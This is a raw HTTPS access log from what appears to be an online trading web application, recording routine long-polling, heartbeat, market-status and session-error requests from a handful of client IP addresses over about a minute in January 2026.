[09/Jan/2026:15:07:28 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942723917 HTTP/1.1" -
[09/Jan/2026:15:07:28 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942718449 HTTP/1.1" -
[09/Jan/2026:15:07:31 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942721199 HTTP/1.1" -
[09/Jan/2026:15:07:32 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942721181 HTTP/1.1" -
[09/Jan/2026:15:07:33 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942728955 HTTP/1.1" -
[09/Jan/2026:15:07:33 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942723551 HTTP/1.1" -
[09/Jan/2026:15:07:35 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:07:35 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:07:36 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942726237 HTTP/1.1" -
[09/Jan/2026:15:07:37 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942726268 HTTP/1.1" -
[09/Jan/2026:15:07:38 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942734021 HTTP/1.1" -
[09/Jan/2026:15:07:38 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942728745 HTTP/1.1" -
[09/Jan/2026:15:07:41 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942731265 HTTP/1.1" -
[09/Jan/2026:15:07:42 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942731437 HTTP/1.1" -
[09/Jan/2026:15:07:43 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942739156 HTTP/1.1" -
[09/Jan/2026:15:07:43 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:07:43 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:07:44 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942733842 HTTP/1.1" -
[09/Jan/2026:15:07:46 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942736302 HTTP/1.1" -
[09/Jan/2026:15:07:47 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942736643 HTTP/1.1" -
[09/Jan/2026:15:07:48 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942744228 HTTP/1.1" -
[09/Jan/2026:15:07:48 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:07:48 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:07:49 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942738981 HTTP/1.1" -
[09/Jan/2026:15:07:51 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942741339 HTTP/1.1" -
[09/Jan/2026:15:07:52 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:07:52 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:07:52 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942741793 HTTP/1.1" -
[09/Jan/2026:15:07:53 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:07:53 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:07:53 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942749264 HTTP/1.1" -
[09/Jan/2026:15:07:54 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942744026 HTTP/1.1" -
[09/Jan/2026:15:07:55 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:07:55 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:07:56 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:07:56 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:07:56 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942746367 HTTP/1.1" -
[09/Jan/2026:15:07:57 +0800] 207.46.13.92 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /logs/secure_access_log.20250503 HTTP/1.1" 45135
[09/Jan/2026:15:07:58 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942746853 HTTP/1.1" -
[09/Jan/2026:15:07:58 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:07:58 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:07:58 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942754354 HTTP/1.1" -
[09/Jan/2026:15:07:59 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942749111 HTTP/1.1" -
[09/Jan/2026:15:08:02 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942751390 HTTP/1.1" -
[09/Jan/2026:15:08:03 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942752029 HTTP/1.1" -
[09/Jan/2026:15:08:03 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942759384 HTTP/1.1" -
[09/Jan/2026:15:08:04 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942754230 HTTP/1.1" -
[09/Jan/2026:15:08:05 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:08:05 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:08:07 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942756440 HTTP/1.1" -
[09/Jan/2026:15:08:08 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942757136 HTTP/1.1" -
[09/Jan/2026:15:08:08 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942764455 HTTP/1.1" -
[09/Jan/2026:15:08:09 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942759390 HTTP/1.1" -
[09/Jan/2026:15:08:12 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942761470 HTTP/1.1" -
[09/Jan/2026:15:08:13 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942762332 HTTP/1.1" -
[09/Jan/2026:15:08:13 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:08:13 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:08:13 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942769552 HTTP/1.1" -
[09/Jan/2026:15:08:14 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942764496 HTTP/1.1" -
[09/Jan/2026:15:08:17 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942766511 HTTP/1.1" -
[09/Jan/2026:15:08:18 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942767449 HTTP/1.1" -
[09/Jan/2026:15:08:18 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:08:19 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:08:19 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942774592 HTTP/1.1" -
[09/Jan/2026:15:08:19 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942769621 HTTP/1.1" -
[09/Jan/2026:15:08:22 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942771547 HTTP/1.1" -
[09/Jan/2026:15:08:22 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:08:22 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:08:23 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:08:23 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942772595 HTTP/1.1" -
[09/Jan/2026:15:08:23 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:08:24 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942779680 HTTP/1.1" -
[09/Jan/2026:15:08:24 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942774695 HTTP/1.1" -
[09/Jan/2026:15:08:25 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:08:25 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:08:26 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:08:26 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:08:27 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942776589 HTTP/1.1" -
[09/Jan/2026:15:08:28 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:08:28 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:08:28 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942777651 HTTP/1.1" -
[09/Jan/2026:15:08:29 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942784771 HTTP/1.1" -
[09/Jan/2026:15:08:30 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942779738 HTTP/1.1" -
[09/Jan/2026:15:08:32 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942781610 HTTP/1.1" -
[09/Jan/2026:15:08:33 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942782706 HTTP/1.1" -
[09/Jan/2026:15:08:34 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942789808 HTTP/1.1" -
[09/Jan/2026:15:08:35 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942784877 HTTP/1.1" -
[09/Jan/2026:15:08:35 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:08:35 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:08:37 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942786638 HTTP/1.1" -
[09/Jan/2026:15:08:39 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942787857 HTTP/1.1" -
[09/Jan/2026:15:08:39 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942794877 HTTP/1.1" -
